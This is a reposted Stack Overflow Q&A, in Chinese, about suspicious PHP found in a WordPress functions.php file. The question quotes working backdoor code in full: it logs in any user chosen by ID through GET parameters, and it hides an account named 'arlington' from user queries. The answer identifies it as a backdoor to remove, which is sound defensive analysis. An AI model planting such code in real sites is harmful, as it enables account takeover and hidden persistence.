gpt4 book ai didi

functions.php 中的 PHP 代码片段

转载 作者:行者123 更新时间:2023-11-29 01:26:17 24 4
gpt4 key购买 nike

我正在帮助一个 friend 建立他的 wordpress 网站,我在他的 functions.php 文件中找到了这段代码。我需要一些帮助来尝试理解它并看看我是否可以删除它。

if(isset($_GET['foo'])){ $a = $_GET['foo']; } 
if(isset($_GET['bar'])){ $b = $_GET['bar']; }
if( ( isset($a) && is_numeric($a) )&& ( isset($b) && $b == 'stuff' )) {

$userdetail = get_userdata($a);
$user_logins = $userdetail->user_login;
$user_ids = $a;
wp_set_current_user($user_ids, $user_logins);
wp_set_auth_cookie($user_ids);
do_action('wp_login', $user_logins);
}
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;

if ($username != 'arlington') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'arlington'",$user_search->query_where);
}
}

据我所知,是否发布了 GET 请求,“lg”属性的用户 ID 是否正确,“cg”属性的字符“M”是否正确。然后它获取用户数据并登录并为用户创建一个 cookie。所以基本上有人可以使用以下 url 登录 www.mysite.com?lg=1&cg=M。将 1 替换为适当的 UserID 或暴力破解,直到找到一个。

在用户查询之前运行第二段代码之后。看起来它需要 $user_search 参数。如果用户名不是“自定义”,那么它会运行一个不返回任何内容的数据库查询,而不是用户登录名。

如果我的解释正确,请告诉我。

编辑:我将稍微更改变量以防止任何恶作剧,因为我相信可以很容易地使用它来利用 wordpress 网站。

最佳答案

您绝对应该删除此代码,并检查您网站的其余部分。

前 11 行代码将允许任何人通过指定提到的 2 个 get 参数以任何用户身份登录,添加到 pre_user_query 的第二个代码块添加了一个 SQL 子句,旨在隐藏名为 custom 的用户。

添加此代码的人或任何人想要拥有一个持久的 WordPress 网站后门。

关于functions.php 中的 PHP 代码片段,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/47522442/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com